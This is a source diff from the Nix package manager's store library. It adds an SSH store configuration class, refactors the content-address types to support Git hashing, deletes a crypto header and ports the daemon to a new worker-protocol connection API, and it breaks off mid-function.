@@ +#include + +#include "common-ssh-store-config.hh" +#include "ssh.hh" + +namespace nix { + +static std::string extractConnStr(std::string_view scheme, std::string_view _connStr) +{ + if (_connStr.empty()) + throw UsageError("`%s` store requires a valid SSH host as the authority part in Store URI", scheme); + + std::string connStr{_connStr}; + + std::smatch result; + static std::regex v6AddrRegex("^((.*)@)?\\[(.*)\\]$"); + + if (std::regex_match(connStr, result, v6AddrRegex)) { + connStr = result[1].matched ? result.str(1) + result.str(3) : result.str(3); + } + + return connStr; +} + +CommonSSHStoreConfig::CommonSSHStoreConfig(std::string_view scheme, std::string_view host, const Params & params) + : StoreConfig(params) + , host(extractConnStr(scheme, host)) +{ +} + +SSHMaster CommonSSHStoreConfig::createSSHMaster(bool useMaster, Descriptor logFD) +{ + return { + host, + sshKey.get(), + sshPublicHostKey.get(), + useMaster, + compress, + logFD, + }; +} + +} diff --git a/src/libstore/common-ssh-store-config.hh b/src/libstore/common-ssh-store-config.hh new file mode 100644 index 000000000..5deb6f4c9 --- /dev/null +++ b/src/libstore/common-ssh-store-config.hh @@ -0,0 +1,62 @@ +#pragma once +///@file + +#include "store-api.hh" + +namespace nix { + +class SSHMaster; + +struct CommonSSHStoreConfig : virtual StoreConfig +{ + using StoreConfig::StoreConfig; + + CommonSSHStoreConfig(std::string_view scheme, std::string_view host, const Params & params); + + const Setting sshKey{this, "", "ssh-key", + "Path to the SSH private key used to authenticate to the remote machine."}; + + const Setting sshPublicHostKey{this, "", "base64-ssh-public-host-key", + "The public host key of the remote machine."}; + + const Setting compress{this, false, "compress", + "Whether to enable SSH compression."}; + + const Setting remoteStore{this, "", "remote-store", + R"( + [Store URL](@docroot@/store/types/index.md#store-url-format) + to be used on the remote machine. The default is `auto` + (i.e. use the Nix daemon or `/nix/store` directly). + )"}; + + /** + * The `parseURL` function supports both IPv6 URIs as defined in + * RFC2732, but also pure addresses. The latter one is needed here to + * connect to a remote store via SSH (it's possible to do e.g. `ssh root@::1`). + * + * When initialized, the following adjustments are made: + * + * - If the URL looks like `root@[::1]` (which is allowed by the URL parser and probably + * needed to pass further flags), it + * will be transformed into `root@::1` for SSH (same for `[::1]` -> `::1`). + * + * - If the URL looks like `root@::1` it will be left as-is. + * + * - In any other case, the string will be left as-is. + * + * Will throw an error if `connStr` is empty too. + */ + std::string host; + + /** + * Small wrapper around `SSHMaster::SSHMaster` that gets most + * arguments from this configuration. + * + * See that constructor for details on the remaining two arguments. + */ + SSHMaster createSSHMaster( + bool useMaster, + Descriptor logFD = INVALID_DESCRIPTOR); +}; + +} diff --git a/src/libstore/content-address.cc b/src/libstore/content-address.cc index cf32ccdc4..e1cdfece6 100644 --- a/src/libstore/content-address.cc +++ b/src/libstore/content-address.cc @@ -4,58 +4,146 @@ namespace nix { -std::string FixedOutputHash::printMethodAlgo() const -{ - return makeFileIngestionPrefix(method) + printHashType(hash.type); -} - -std::string makeFileIngestionPrefix(const FileIngestionMethod m) +std::string_view makeFileIngestionPrefix(FileIngestionMethod m) { switch (m) { case FileIngestionMethod::Flat: + // Not prefixed for back compat return ""; - case FileIngestionMethod::Recursive: + case FileIngestionMethod::NixArchive: return "r:"; + case FileIngestionMethod::Git: + experimentalFeatureSettings.require(Xp::GitHashing); + return "git:"; default: - throw Error("impossible, caught both cases"); + assert(false); } } -std::string makeFixedOutputCA(FileIngestionMethod method, const Hash & hash) +std::string_view ContentAddressMethod::render() const { - return "fixed:" - + makeFileIngestionPrefix(method) - + hash.to_string(Base32, true); + switch (raw) { + case ContentAddressMethod::Raw::Text: + return "text"; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return renderFileIngestionMethod(getFileIngestionMethod()); + default: + assert(false); + } } -std::string renderContentAddress(ContentAddress ca) -{ - return std::visit(overloaded { - [](TextHash & th) { - return "text:" + th.hash.to_string(Base32, true); - }, - [](FixedOutputHash & fsh) { - return makeFixedOutputCA(fsh.method, fsh.hash); - } - }, ca); -} - -std::string renderContentAddressMethod(ContentAddressMethod cam) -{ - return std::visit(overloaded { - [](TextHashMethod & th) { - return std::string{"text:"} + printHashType(htSHA256); - }, - [](FixedOutputHashMethod & fshm) { - return "fixed:" + makeFileIngestionPrefix(fshm.fileIngestionMethod) + printHashType(fshm.hashType); - } - }, cam); -} - -/* - Parses content address strings up to the hash. +/** + * **Not surjective** + * + * This is not exposed because `FileIngestionMethod::Flat` maps to + * `ContentAddressMethod::Raw::Flat` and + * `ContentAddressMethod::Raw::Text` alike. We can thus only safely use + * this when the latter is ruled out (e.g. because it is already + * handled). */ -static ContentAddressMethod parseContentAddressMethodPrefix(std::string_view & rest) +static ContentAddressMethod fileIngestionMethodToContentAddressMethod(FileIngestionMethod m) +{ + switch (m) { + case FileIngestionMethod::Flat: + return ContentAddressMethod::Raw::Flat; + case FileIngestionMethod::NixArchive: + return ContentAddressMethod::Raw::NixArchive; + case FileIngestionMethod::Git: + return ContentAddressMethod::Raw::Git; + default: + assert(false); + } +} + +ContentAddressMethod ContentAddressMethod::parse(std::string_view m) +{ + if (m == "text") + return ContentAddressMethod::Raw::Text; + else + return fileIngestionMethodToContentAddressMethod( + parseFileIngestionMethod(m)); +} + +std::string_view ContentAddressMethod::renderPrefix() const +{ + switch (raw) { + case ContentAddressMethod::Raw::Text: + return "text:"; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return makeFileIngestionPrefix(getFileIngestionMethod()); + default: + assert(false); + } +} + +ContentAddressMethod ContentAddressMethod::parsePrefix(std::string_view & m) +{ + if (splitPrefix(m, "r:")) { + return ContentAddressMethod::Raw::NixArchive; + } + else if (splitPrefix(m, "git:")) { + experimentalFeatureSettings.require(Xp::GitHashing); + return ContentAddressMethod::Raw::Git; + } + else if (splitPrefix(m, "text:")) { + return ContentAddressMethod::Raw::Text; + } + return ContentAddressMethod::Raw::Flat; +} + +/** + * This is slightly more mindful of forward compat in that it uses `fixed:` + * rather than just doing a raw empty prefix or `r:`, which doesn't "save room" + * for future changes very well. + */ +static std::string renderPrefixModern(const ContentAddressMethod & ca) +{ + switch (ca.raw) { + case ContentAddressMethod::Raw::Text: + return "text:"; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return "fixed:" + makeFileIngestionPrefix(ca.getFileIngestionMethod()); + default: + assert(false); + } +} + +std::string ContentAddressMethod::renderWithAlgo(HashAlgorithm ha) const +{ + return renderPrefixModern(*this) + printHashAlgo(ha); +} + +FileIngestionMethod ContentAddressMethod::getFileIngestionMethod() const +{ + switch (raw) { + case ContentAddressMethod::Raw::Flat: + return FileIngestionMethod::Flat; + case ContentAddressMethod::Raw::NixArchive: + return FileIngestionMethod::NixArchive; + case ContentAddressMethod::Raw::Git: + return FileIngestionMethod::Git; + case ContentAddressMethod::Raw::Text: + return FileIngestionMethod::Flat; + default: + assert(false); + } +} + +std::string ContentAddress::render() const +{ + return renderPrefixModern(method) + this->hash.to_string(HashFormat::Nix32, true); +} + +/** + * Parses content address strings up to the hash. + */ +static std::pair parseContentAddressMethodPrefix(std::string_view & rest) { std::string_view wholeInput { rest }; @@ -67,58 +155,53 @@ static ContentAddressMethod parseContentAddressMethodPrefix(std::string_view & r prefix = *optPrefix; } - auto parseHashType_ = [&](){ - auto hashTypeRaw = splitPrefixTo(rest, ':'); - if (!hashTypeRaw) + auto parseHashAlgorithm_ = [&](){ + auto hashAlgoRaw = splitPrefixTo(rest, ':'); + if (!hashAlgoRaw) throw UsageError("content address hash must be in form ':', but found: %s", wholeInput); - HashType hashType = parseHashType(*hashTypeRaw); - return std::move(hashType); + HashAlgorithm hashAlgo = parseHashAlgo(*hashAlgoRaw); + return hashAlgo; }; // Switch on prefix if (prefix == "text") { // No parsing of the ingestion method, "text" only support flat. - HashType hashType = parseHashType_(); - if (hashType != htSHA256) - throw Error("text content address hash should use %s, but instead uses %s", - printHashType(htSHA256), printHashType(hashType)); - return TextHashMethod {}; + HashAlgorithm hashAlgo = parseHashAlgorithm_(); + return { + ContentAddressMethod::Raw::Text, + std::move(hashAlgo), + }; } else if (prefix == "fixed") { // Parse method - auto method = FileIngestionMethod::Flat; + auto method = ContentAddressMethod::Raw::Flat; if (splitPrefix(rest, "r:")) - method = FileIngestionMethod::Recursive; - HashType hashType = parseHashType_(); - return FixedOutputHashMethod { - .fileIngestionMethod = method, - .hashType = std::move(hashType), + method = ContentAddressMethod::Raw::NixArchive; + else if (splitPrefix(rest, "git:")) { + experimentalFeatureSettings.require(Xp::GitHashing); + method = ContentAddressMethod::Raw::Git; + } + HashAlgorithm hashAlgo = parseHashAlgorithm_(); + return { + std::move(method), + std::move(hashAlgo), }; } else throw UsageError("content address prefix '%s' is unrecognized. Recogonized prefixes are 'text' or 'fixed'", prefix); } -ContentAddress parseContentAddress(std::string_view rawCa) { +ContentAddress ContentAddress::parse(std::string_view rawCa) +{ auto rest = rawCa; - ContentAddressMethod caMethod = parseContentAddressMethodPrefix(rest); + auto [caMethod, hashAlgo] = parseContentAddressMethodPrefix(rest); - return std::visit( - overloaded { - [&](TextHashMethod & thm) { - return ContentAddress(TextHash { - .hash = Hash::parseNonSRIUnprefixed(rest, htSHA256) - }); - }, - [&](FixedOutputHashMethod & fohMethod) { - return ContentAddress(FixedOutputHash { - .method = fohMethod.fileIngestionMethod, - .hash = Hash::parseNonSRIUnprefixed(rest, std::move(fohMethod.hashType)), - }); - }, - }, caMethod); + return ContentAddress { + .method = std::move(caMethod), + .hash = Hash::parseNonSRIUnprefixed(rest, hashAlgo), + }; } -ContentAddressMethod parseContentAddressMethod(std::string_view caMethod) +std::pair ContentAddressMethod::parseWithAlgo(std::string_view caMethod) { std::string asPrefix = std::string{caMethod} + ":"; // parseContentAddressMethodPrefix takes its argument by reference @@ -126,26 +209,102 @@ ContentAddressMethod parseContentAddressMethod(std::string_view caMethod) return parseContentAddressMethodPrefix(asPrefixView); } -std::optional parseContentAddressOpt(std::string_view rawCaOpt) +std::optional ContentAddress::parseOpt(std::string_view rawCaOpt) { - return rawCaOpt == "" ? std::optional() : parseContentAddress(rawCaOpt); + return rawCaOpt == "" + ? std::nullopt + : std::optional { ContentAddress::parse(rawCaOpt) }; }; std::string renderContentAddress(std::optional ca) { - return ca ? renderContentAddress(*ca) : ""; + return ca ? ca->render() : ""; } -Hash getContentAddressHash(const ContentAddress & ca) +std::string ContentAddress::printMethodAlgo() const +{ + return std::string { method.renderPrefix() } + + printHashAlgo(hash.algo); +} + +bool StoreReferences::empty() const +{ + return !self && others.empty(); +} + +size_t StoreReferences::size() const +{ + return (self ? 1 : 0) + others.size(); +} + +ContentAddressWithReferences ContentAddressWithReferences::withoutRefs(const ContentAddress & ca) noexcept +{ + switch (ca.method.raw) { + case ContentAddressMethod::Raw::Text: + return TextInfo { + .hash = ca.hash, + .references = {}, + }; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return FixedOutputInfo { + .method = ca.method.getFileIngestionMethod(), + .hash = ca.hash, + .references = {}, + }; + default: + assert(false); + } +} + +ContentAddressWithReferences ContentAddressWithReferences::fromParts( + ContentAddressMethod method, Hash hash, StoreReferences refs) +{ + switch (method.raw) { + case ContentAddressMethod::Raw::Text: + if (refs.self) + throw Error("self-reference not allowed with text hashing"); + return TextInfo { + .hash = std::move(hash), + .references = std::move(refs.others), + }; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return FixedOutputInfo { + .method = method.getFileIngestionMethod(), + .hash = std::move(hash), + .references = std::move(refs), + }; + default: + assert(false); + } +} + +ContentAddressMethod ContentAddressWithReferences::getMethod() const { return std::visit(overloaded { - [](const TextHash & th) { + [](const TextInfo & th) -> ContentAddressMethod { + return ContentAddressMethod::Raw::Text; + }, + [](const FixedOutputInfo & fsh) -> ContentAddressMethod { + return fileIngestionMethodToContentAddressMethod( + fsh.method); + }, + }, raw); +} + +Hash ContentAddressWithReferences::getHash() const +{ + return std::visit(overloaded { + [](const TextInfo & th) { return th.hash; }, - [](const FixedOutputHash & fsh) { + [](const FixedOutputInfo & fsh) { return fsh.hash; - } - }, ca); + }, + }, raw); } } diff --git a/src/libstore/content-address.hh b/src/libstore/content-address.hh index f6a6f5140..bb515013a 100644 --- a/src/libstore/content-address.hh +++ b/src/libstore/content-address.hh @@ -1,77 +1,316 @@ #pragma once +///@file #include #include "hash.hh" +#include "path.hh" +#include "file-content-address.hh" +#include "variant-wrapper.hh" namespace nix { -enum struct FileIngestionMethod : uint8_t { - Flat = false, - Recursive = true +/* + * Content addressing method + */ + +/** + * Compute the prefix to the hash algorithm which indicates how the + * files were ingested. + */ +std::string_view makeFileIngestionPrefix(FileIngestionMethod m); + +/** + * An enumeration of all the ways we can content-address store objects. + * + * Just the type of a content address. Combine with the hash itself, and + * we have a `ContentAddress` as defined below. Combine that, in turn, + * with info on references, and we have `ContentAddressWithReferences`, + * as defined further below. + */ +struct ContentAddressMethod +{ + enum struct Raw { + /** + * Calculate a store path using the `FileIngestionMethod::Flat` + * hash of the file system objects, and references. + * + * See `store-object/content-address.md#method-flat` in the + * manual. + */ + Flat, + + /** + * Calculate a store path using the + * `FileIngestionMethod::NixArchive` hash of the file system + * objects, and references. + * + * See `store-object/content-address.md#method-flat` in the + * manual. + */ + NixArchive, + + /** + * Calculate a store path using the `FileIngestionMethod::Git` + * hash of the file system objects, and references. + * + * Part of `ExperimentalFeature::GitHashing`. + * + * See `store-object/content-address.md#method-git` in the + * manual. + */ + Git, + + /** + * Calculate a store path using the `FileIngestionMethod::Flat` + * hash of the file system objects, and references, but in a + * different way than `ContentAddressMethod::Raw::Flat`. + * + * See `store-object/content-address.md#method-text` in the + * manual. + */ + Text, + }; + + Raw raw; + + bool operator ==(const ContentAddressMethod &) const = default; + auto operator <=>(const ContentAddressMethod &) const = default; + + MAKE_WRAPPER_CONSTRUCTOR(ContentAddressMethod); + + /** + * Parse a content addressing method (name). + * + * The inverse of `render`. + */ + static ContentAddressMethod parse(std::string_view rawCaMethod); + + /** + * Render a content addressing method (name). + * + * The inverse of `parse`. + */ + std::string_view render() const; + + /** + * Parse the prefix tag which indicates how the files + * were ingested, with the fixed output case not prefixed for back + * compat. + * + * @param [in] m A string that should begin with the prefix. + * @param [out] m The remainder of the string after the prefix. + */ + static ContentAddressMethod parsePrefix(std::string_view & m); + + /** + * Render the prefix tag which indicates how the files wre ingested. + * + * The rough inverse of `parsePrefix()`. + */ + std::string_view renderPrefix() const; + + /** + * Parse a content addressing method and hash algorithm. + */ + static std::pair parseWithAlgo(std::string_view rawCaMethod); + + /** + * Render a content addressing method and hash algorithm in a + * nicer way, prefixing both cases. + * + * The rough inverse of `parse()`. + */ + std::string renderWithAlgo(HashAlgorithm ha) const; + + /** + * Get the underlying way to content-address file system objects. + * + * Different ways of hashing store objects may use the same method + * for hashing file systeme objects. + */ + FileIngestionMethod getFileIngestionMethod() const; }; -struct TextHash { - Hash hash; -}; -/// Pair of a hash, and how the file system was ingested -struct FixedOutputHash { - FileIngestionMethod method; +/* + * Mini content address + */ + +/** + * We've accumulated several types of content-addressed paths over the + * years; fixed-output derivations support multiple hash algorithms and + * serialisation methods (flat file vs NAR). Thus, ‘ca’ has one of the + * following forms: + * + * - `TextIngestionMethod`: + * ‘text:sha256:’ + * + * - `FixedIngestionMethod`: + * ‘fixed:::’ + */ +struct ContentAddress +{ + /** + * How the file system objects are serialized + */ + ContentAddressMethod method; + + /** + * Hash of that serialization + */ Hash hash; + + bool operator ==(const ContentAddress &) const = default; + auto operator <=>(const ContentAddress &) const = default; + + /** + * Compute the content-addressability assertion + * (`ValidPathInfo::ca`) for paths created by + * `Store::makeFixedOutputPath()` / `Store::addToStore()`. + */ + std::string render() const; + + static ContentAddress parse(std::string_view rawCa); + + static std::optional parseOpt(std::string_view rawCaOpt); + std::string printMethodAlgo() const; }; -/* - We've accumulated several types of content-addressed paths over the years; - fixed-output derivations support multiple hash algorithms and serialisation - methods (flat file vs NAR). Thus, ‘ca’ has one of the following forms: - - * ‘text:sha256:’: For paths - computed by makeTextPath() / addTextToStore(). - - * ‘fixed:::’: For paths computed by - makeFixedOutputPath() / addToStore(). -*/ -typedef std::variant< - TextHash, // for paths computed by makeTextPath() / addTextToStore - FixedOutputHash // for path computed by makeFixedOutputPath -> ContentAddress; - -/* Compute the prefix to the hash algorithm which indicates how the files were - ingested. */ -std::string makeFileIngestionPrefix(const FileIngestionMethod m); - -/* Compute the content-addressability assertion (ValidPathInfo::ca) - for paths created by makeFixedOutputPath() / addToStore(). */ -std::string makeFixedOutputCA(FileIngestionMethod method, const Hash & hash); - -std::string renderContentAddress(ContentAddress ca); - +/** + * Render the `ContentAddress` if it exists to a string, return empty + * string otherwise. + */ std::string renderContentAddress(std::optional ca); -ContentAddress parseContentAddress(std::string_view rawCa); - -std::optional parseContentAddressOpt(std::string_view rawCaOpt); - -Hash getContentAddressHash(const ContentAddress & ca); /* - We only have one way to hash text with references, so this is single-value - type is only useful in std::variant. -*/ -struct TextHashMethod { }; -struct FixedOutputHashMethod { - FileIngestionMethod fileIngestionMethod; - HashType hashType; + * Full content address + * + * See the schema for store paths in store-api.cc + */ + +/** + * A set of references to other store objects. + * + * References to other store objects are tracked with store paths, self + * references however are tracked with a boolean. + */ +struct StoreReferences +{ + /** + * References to other store objects + */ + StorePathSet others; + + /** + * Reference to this store object + */ + bool self = false; + + /** + * @return true iff no references, i.e. others is empty and self is + * false. + */ + bool empty() const; + + /** + * Returns the numbers of references, i.e. the size of others + 1 + * iff self is true. + */ + size_t size() const; + + bool operator ==(const StoreReferences &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=>(const StoreReferences &) const = default; }; -typedef std::variant< - TextHashMethod, - FixedOutputHashMethod - > ContentAddressMethod; +// This matches the additional info that we need for makeTextPath +struct TextInfo +{ + /** + * Hash of the contents of the text/file. + */ + Hash hash; -ContentAddressMethod parseContentAddressMethod(std::string_view rawCaMethod); + /** + * References to other store objects only; self references + * disallowed + */ + StorePathSet references; -std::string renderContentAddressMethod(ContentAddressMethod caMethod); + bool operator ==(const TextInfo &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=>(const TextInfo &) const = default; +}; + +struct FixedOutputInfo +{ + /** + * How the file system objects are serialized + */ + FileIngestionMethod method; + + /** + * Hash of that serialization + */ + Hash hash; + + /** + * References to other store objects or this one. + */ + StoreReferences references; + + bool operator ==(const FixedOutputInfo &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=>(const FixedOutputInfo &) const = default; +}; + +/** + * Ways of content addressing but not a complete ContentAddress. + * + * A ContentAddress without a Hash. + */ +struct ContentAddressWithReferences +{ + typedef std::variant< + TextInfo, + FixedOutputInfo + > Raw; + + Raw raw; + + bool operator ==(const ContentAddressWithReferences &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=>(const ContentAddressWithReferences &) const = default; + + MAKE_WRAPPER_CONSTRUCTOR(ContentAddressWithReferences); + + /** + * Create a `ContentAddressWithReferences` from a mere + * `ContentAddress`, by claiming no references. + */ + static ContentAddressWithReferences withoutRefs(const ContentAddress &) noexcept; + + /** + * Create a `ContentAddressWithReferences` from 3 parts: + * + * @param method Way ingesting the file system data. + * + * @param hash Hash of ingested file system data. + * + * @param refs References to other store objects or oneself. + * + * @note note that all combinations are supported. This is a + * *partial function* and exceptions will be thrown for invalid + * combinations. + */ + static ContentAddressWithReferences fromParts( + ContentAddressMethod method, Hash hash, StoreReferences refs); + + ContentAddressMethod getMethod() const; + + Hash getHash() const; +}; } diff --git a/src/libstore/crypto.hh b/src/libstore/crypto.hh deleted file mode 100644 index 03f85c103..000000000 --- a/src/libstore/crypto.hh +++ /dev/null @@ -1,62 +0,0 @@ -#pragma once - -#include "types.hh" - -#include - -namespace nix { - -struct Key -{ - std::string name; - std::string key; - - /* Construct Key from a string in the format - ‘:’. */ - Key(std::string_view s); - - std::string to_string() const; - -protected: - Key(std::string_view name, std::string && key) - : name(name), key(std::move(key)) { } -}; - -struct PublicKey; - -struct SecretKey : Key -{ - SecretKey(std::string_view s); - - /* Return a detached signature of the given string. */ - std::string signDetached(std::string_view s) const; - - PublicKey toPublicKey() const; - - static SecretKey generate(std::string_view name); - -private: - SecretKey(std::string_view name, std::string && key) - : Key(name, std::move(key)) { } -}; - -struct PublicKey : Key -{ - PublicKey(std::string_view data); - -private: - PublicKey(std::string_view name, std::string && key) - : Key(name, std::move(key)) { } - friend struct SecretKey; -}; - -typedef std::map PublicKeys; - -/* Return true iff ‘sig’ is a correct signature over ‘data’ using one - of the given public keys. */ -bool verifyDetached(const std::string & data, const std::string & sig, - const PublicKeys & publicKeys); - -PublicKeys getDefaultPublicKeys(); - -} diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 12596ba49..ef3326cd6 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -1,16 +1,26 @@ #include "daemon.hh" -#include "monitor-fd.hh" +#include "signals.hh" #include "worker-protocol.hh" +#include "worker-protocol-connection.hh" +#include "worker-protocol-impl.hh" #include "build-result.hh" #include "store-api.hh" #include "store-cast.hh" #include "gc-store.hh" #include "log-store.hh" +#include "indirect-root-store.hh" #include "path-with-outputs.hh" #include "finally.hh" #include "archive.hh" #include "derivations.hh" #include "args.hh" +#include "git.hh" + +#ifndef _WIN32 // TODO need graceful async exit support on Windows? +# include "monitor-fd.hh" +#endif + +#include namespace nix::daemon { @@ -23,7 +33,7 @@ Sink & operator << (Sink & sink, const Logger::Fields & fields) sink << f.i; else if (f.type == Logger::Field::tString) sink << f.s; - else abort(); + else unreachable(); } return sink; } @@ -43,9 +53,9 @@ struct TunnelLogger : public Logger Sync state_; - unsigned int clientVersion; + WorkerProto::Version clientVersion; - TunnelLogger(FdSink & to, unsigned int clientVersion) + TunnelLogger(FdSink & to, WorkerProto::Version clientVersion) : to(to), clientVersion(clientVersion) { } void enqueueMsg(const std::string & s) @@ -67,12 +77,12 @@ struct TunnelLogger : public Logger state->pendingMsgs.push_back(s); } - void log(Verbosity lvl, const FormatOrString & fs) override + void log(Verbosity lvl, std::string_view s) override { if (lvl > verbosity) return; StringSink buf; - buf << STDERR_NEXT << (fs.s + "\n"); + buf << STDERR_NEXT << (s + "\n"); enqueueMsg(buf.s); } @@ -117,7 +127,7 @@ struct TunnelLogger : public Logger if (GET_PROTOCOL_MINOR(clientVersion) >= 26) { to << STDERR_ERROR << *ex; } else { - to << STDERR_ERROR << ex->what() << ex->status; + to << STDERR_ERROR << ex->what() << ex->info().status; } } } @@ -157,7 +167,7 @@ struct TunnelSink : Sink { Sink & to; TunnelSink(Sink & to) : to(to) { } - void operator () (std::string_view data) + void operator () (std::string_view data) override { to << STDERR_WRITE; writeString(data, to); @@ -222,7 +232,8 @@ struct ClientSettings else if (!hasSuffix(s, "/") && trusted.count(s + "/")) subs.push_back(s + "/"); else - warn("ignoring untrusted substituter '%s'", s); + warn("ignoring untrusted substituter '%s', you are not a trusted user.\n" + "Run `man nix.conf` for more information on the `substituters` configuration option.", s); res = subs; return true; }; @@ -230,11 +241,14 @@ struct ClientSettings try { if (name == "ssh-auth-sock") // obsolete ; - else if (name == settings.experimentalFeatures.name) { + else if (name == experimentalFeatureSettings.experimentalFeatures.name) { // We don’t want to forward the experimental features to // the daemon, as that could cause some pretty weird stuff - if (parseFeatures(tokenizeString(value)) != settings.experimentalFeatures.get()) + if (parseFeatures(tokenizeString(value)) != experimentalFeatureSettings.experimentalFeatures.get()) debug("Ignoring the client-specified experimental features"); + } else if (name == "plugin-files") { + warn("Ignoring the client-specified plugin-files.\n" + "The client specifying plugins to the daemon never made sense, and was removed in Nix >=2.14."); } else if (trusted || name == settings.buildTimeout.name @@ -246,7 +260,7 @@ struct ClientSettings else if (setSubstituters(settings.substituters)) ; else - debug("ignoring the client-specified setting '%s', because it is a restricted setting and you are not a trusted user", name); + warn("ignoring the client-specified setting '%s', because it is a restricted setting and you are not a trusted user", name); } catch (UsageError & e) { warn(e.what()); } @@ -254,39 +268,31 @@ struct ClientSettings } }; -static std::vector readDerivedPaths(Store & store, unsigned int clientVersion, Source & from) -{ - std::vector reqs; - if (GET_PROTOCOL_MINOR(clientVersion) >= 30) { - reqs = worker_proto::read(store, from, Phantom> {}); - } else { - for (auto & s : readStrings(from)) - reqs.push_back(parsePathWithOutputs(store, s).toDerivedPath()); - } - return reqs; -} - static void performOp(TunnelLogger * logger, ref store, - TrustedFlag trusted, RecursiveFlag recursive, unsigned int clientVersion, - Source & from, BufferedSink & to, unsigned int op) + TrustedFlag trusted, RecursiveFlag recursive, + WorkerProto::BasicServerConnection & conn, + WorkerProto::Op op) { + WorkerProto::ReadConn rconn(conn); + WorkerProto::WriteConn wconn(conn); + switch (op) { - case wopIsValidPath: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::IsValidPath: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); bool result = store->isValidPath(path); logger->stopWork(); - to << result; + conn.to << result; break; } - case wopQueryValidPaths: { - auto paths = worker_proto::read(*store, from, Phantom {}); + case WorkerProto::Op::QueryValidPaths: { + auto paths = WorkerProto::Serialise::read(*store, rconn); SubstituteFlag substitute = NoSubstitute; - if (GET_PROTOCOL_MINOR(clientVersion) >= 27) { - substitute = readInt(from) ? Substitute : NoSubstitute; + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 27) { + substitute = readInt(conn.from) ? Substitute : NoSubstitute; } logger->startWork(); @@ -295,186 +301,186 @@ static void performOp(TunnelLogger * logger, ref store, } auto res = store->queryValidPaths(paths, substitute); logger->stopWork(); - worker_proto::write(*store, to, res); + WorkerProto::write(*store, wconn, res); break; } - case wopHasSubstitutes: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::HasSubstitutes: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); StorePathSet paths; // FIXME paths.insert(path); auto res = store->querySubstitutablePaths(paths); logger->stopWork(); - to << (res.count(path) != 0); + conn.to << (res.count(path) != 0); break; } - case wopQuerySubstitutablePaths: { - auto paths = worker_proto::read(*store, from, Phantom {}); + case WorkerProto::Op::QuerySubstitutablePaths: { + auto paths = WorkerProto::Serialise::read(*store, rconn); logger->startWork(); auto res = store->querySubstitutablePaths(paths); logger->stopWork(); - worker_proto::write(*store, to, res); + WorkerProto::write(*store, wconn, res); break; } - case wopQueryPathHash: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::QueryPathHash: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); auto hash = store->queryPathInfo(path)->narHash; logger->stopWork(); - to << hash.to_string(Base16, false); + conn.to << hash.to_string(HashFormat::Base16, false); break; } - case wopQueryReferences: - case wopQueryReferrers: - case wopQueryValidDerivers: - case wopQueryDerivationOutputs: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::QueryReferences: + case WorkerProto::Op::QueryReferrers: + case WorkerProto::Op::QueryValidDerivers: + case WorkerProto::Op::QueryDerivationOutputs: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); StorePathSet paths; - if (op == wopQueryReferences) + if (op == WorkerProto::Op::QueryReferences) for (auto & i : store->queryPathInfo(path)->references) paths.insert(i); - else if (op == wopQueryReferrers) + else if (op == WorkerProto::Op::QueryReferrers) store->queryReferrers(path, paths); - else if (op == wopQueryValidDerivers) + else if (op == WorkerProto::Op::QueryValidDerivers) paths = store->queryValidDerivers(path); else paths = store->queryDerivationOutputs(path); logger->stopWork(); - worker_proto::write(*store, to, paths); + WorkerProto::write(*store, wconn, paths); break; } - case wopQueryDerivationOutputNames: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::QueryDerivationOutputNames: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); auto names = store->readDerivation(path).outputNames(); logger->stopWork(); - to << names; + conn.to << names; break; } - case wopQueryDerivationOutputMap: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::QueryDerivationOutputMap: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); auto outputs = store->queryPartialDerivationOutputMap(path); logger->stopWork(); - worker_proto::write(*store, to, outputs); + WorkerProto::write(*store, wconn, outputs); break; } - case wopQueryDeriver: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::QueryDeriver: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); auto info = store->queryPathInfo(path); logger->stopWork(); - to << (info->deriver ? store->printStorePath(*info->deriver) : ""); + conn.to << (info->deriver ? store->printStorePath(*info->deriver) : ""); break; } - case wopQueryPathFromHashPart: { - auto hashPart = readString(from); + case WorkerProto::Op::QueryPathFromHashPart: { + auto hashPart = readString(conn.from); logger->startWork(); auto path = store->queryPathFromHashPart(hashPart); logger->stopWork(); - to << (path ? store->printStorePath(*path) : ""); + conn.to << (path ? store->printStorePath(*path) : ""); break; } - case wopAddToStore: { - if (GET_PROTOCOL_MINOR(clientVersion) >= 25) { - auto name = readString(from); - auto camStr = readString(from); - auto refs = worker_proto::read(*store, from, Phantom {}); + case WorkerProto::Op::AddToStore: { + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 25) { + auto name = readString(conn.from); + auto camStr = readString(conn.from); + auto refs = WorkerProto::Serialise::read(*store, rconn); bool repairBool; - from >> repairBool; + conn.from >> repairBool; auto repair = RepairFlag{repairBool}; logger->startWork(); auto pathInfo = [&]() { // 